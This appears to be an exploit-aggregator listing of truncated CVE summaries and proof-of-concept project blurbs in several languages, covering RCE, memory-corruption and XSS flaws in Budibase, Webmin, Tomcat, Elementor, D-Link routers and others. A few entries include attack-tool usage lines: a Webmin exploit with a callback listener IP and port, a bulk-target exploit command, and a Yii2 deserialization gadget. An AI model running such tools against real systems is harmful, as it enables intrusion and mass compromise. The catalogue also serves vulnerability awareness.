CVE-2026-82244

Budibase versions before 3.41.3 contain a remote code execution vulnerability in plugin handling that allows authenticated admin users to execute arbitrary code by uploading a malicious plugin tarball. The server calls eval on plugin JavaScript files without sandboxing in the main Node.js process...

CVE-2026-42007

An attacker that has valid credentials can use a Sieve script with the editheader extension to trigger a use-after-free in the mail editing code, and to write memory contents beyond the intended buffer into the delivered mail. This causes memory leak and opportunity to do memory corruption during...

CVE-2026-40013

An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script. This causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of...

CVE-2026-18393

A flaw was found in FFmpeg. The tdscloadcursor function writes beyond the bounds of a heap-allocated buffer when processing crafted TDSC cursor data. A remote attacker could exploit this by supplying a specially crafted video file, potentially leading to a denial of service or arbitrary code...

CVE-2025-3248-Langflow-RCE

CVE-2025-3248 — Langflow Unauthenticated Remote Code Execution Proof-of-Concept-Exploit für CVE-2025-3248 , eine nicht authentifizierte Remote-Codeausführungs-Schwachstelle in Langflow, einer Plattform zum Erstellen von KI-/LLM-Workflows. Betroffene Versionen: Langflow 1.3.0 Behoben in: 1.3.0...

CVE-2025-34028-PoC-Commvault-RCE

CVE-2025-34028 - Remote Code Execution su Commvault Command Center Uno script Python per CVE-2025-34028, una vulnerabilità di esecuzione di codice in remoto in Commvault Command Center. Questo strumento consente di testare singoli target o di scansionare più host in blocco. Caratteristiche Capaci...

CVE-2025-29306-PoC-FoxCMS-RCE

CVE-2025-29306 - FoxCMS Remote Code Execution Exploit Ein Python-Exploit für CVE-2025-29306, eine Sicherheitslücke zur Remote-Code-Ausführung in FoxCMS. Dieses Tool ermöglicht das Testen einzelner Ziele oder das Scannen mehrerer Hosts im Bulk-Modus. Funktionen Einzelziel- oder Bulk-Scan-Fähigkeit...

CVE-2025-6000

CVE-2025-6000 — Esecuzione di Codice Privilegiata in HashiCorp Vault PoC Proof-of-concept per CVE-2025-6000 , una vulnerabilità di escalation dei privilegi fino a RCE nei backend di audit di HashiCorp Vault. Il dispositivo di audit consente a un chiamante privilegiato di controllare le opzioni...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Proof of Concept PoC Ein Proof-of-Concept-Exploit für die Deserialisierungsschwachstelle in Apache Tomcat CVE-2025-24813. Dieses Tool zeigt, wie Angreifer unsichere Deserialisierung in der Sitzungsverwaltung von Tomcat ausnutzen könnten. WARNUNG : Dieses Tool ist...

CVE-2025-50738-PoC

CVE-2025-50738 È molto semplice: una XSS memorizzata tramite SVG è un modo molto comune di trovare Cross-Site Scripting in giro per il mondo, quindi è stata una delle prime cose che ho fatto. Ho distribuito usememos tramite Pikapods, dove poi sono andato alla pagina principale e ho creato un...

CVE-2019-15107-Webmin-RCE-PoC

CVE-2019-15107 Webmin RCE PoC Un exploit proof-of-concept in Python per CVE-2019-15107 - una vulnerabilità di esecuzione remota di codice non autenticata in Webmin versioni 1.890 fino a 1.920. Descrizione Questa vulnerabilità risiede nell'endpoint /passwordchange.cgi di Webmin e consente a utenti...

CVE-2026-32475

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Upload Arbitrario di File Non Autenticato → RCE PoC per CVE-2026-32475 CVSS 9.0 Critico, CWE-434: un upload arbitrario di file non autenticato nel modulo Forms di Elementor Pro che porta all'esecuzione remota di codice. Corretto in Elementor Pro 4.2.2...

CVE-2023-43284

CVE-2023-43284 DLink Modell DIR-846 Authentifizierte Remote-Code-Ausführung. Diese Schwachstelle missbraucht den QoS-POST-Parameter im Router, um eine authentifizierte Remote-Code-Ausführung auszunutzen. Erfordert nicht, dass QoS aktiviert ist! root@kitploit: -h, --help show this help message and...

CVE-2019-10915

La vulnerabilità è un bypass dell'autenticazione nel server TIA Administrator. Un attaccante potrebbe eseguire comandi arbitrari dell'applicazione tramite websockets sul server node.js che è esposto esternamente per impostazione predefinita. Sfruttando questa vulnerabilità, un attaccante remoto n...

CVE-2025-13486

Massenausnutzung CVE-2025-13486 Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - Nicht authentifizierte Remote-Codeausführung in prepareform ⚠️ Schwachstellendetails Das Advanced Custom Fields: Extended-Plugin für WordPress ist in den Versionen 0.9.0.5 bis 0.9.1.1 über die Funktion prepareform...

mssharepoint-scanner

MS SharePoint Scanner Uno strumento difensivo monofile e senza dipendenze per Microsoft SharePoint che combina service discovery singola o bulk con valutazione CVE per due vulnerabilità critiche on-premises: CVE-2026-55040 Critica 9.1 — bypass dell'autenticazione tramite token JWT CVE-2026-63520...

CVE-2020-16947

CVE-2020-16947 Outlook 2019 Remotecodeausführung Dieser Fehler trat beim Parsen von HTML-Inhalten auf. Wenn ein Angreifer diesen Exploit erfolgreich ausführt, kann dies zu einer Remotecodeausführung führen. Beim Kopieren von Zeichenfolgen außerhalb des ASCII-Bereichs in HTML-Inhalten wird die...

CVE-2019-15107

CVE-2019-15107 webmin or minisever RCE Uso do Script: Testado na v1.890, mas também deve funcionar em outras versões do webmin nas quais este backdoor está instalado. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2024-56145-craftcms-rce

Prima di eseguire di nuovo lo script, esegui fuser -k 6666/tcp Utilizzo - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Si può usare un comando personalizzato come python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i è il tuo IP o l'IP del tuo VPS ottienilo con ipconfig / ifconfig...

CVE-2020-15148-bypasses

CVE-2020-15148-bypasses Mehrere Umgehungen für CVE-2020-15148 Yii2-Deserialisierung poc1 Dieses ist in Version 2.0.37 nutzbar, 2.0.38 hat dies repariert, d.h. diesem wurde CVE-2020-15148 zugewiesen, die folgenden drei sind Umgehungen. root@kitploit: checkAccess = 'system'; $this-id = 'ls';...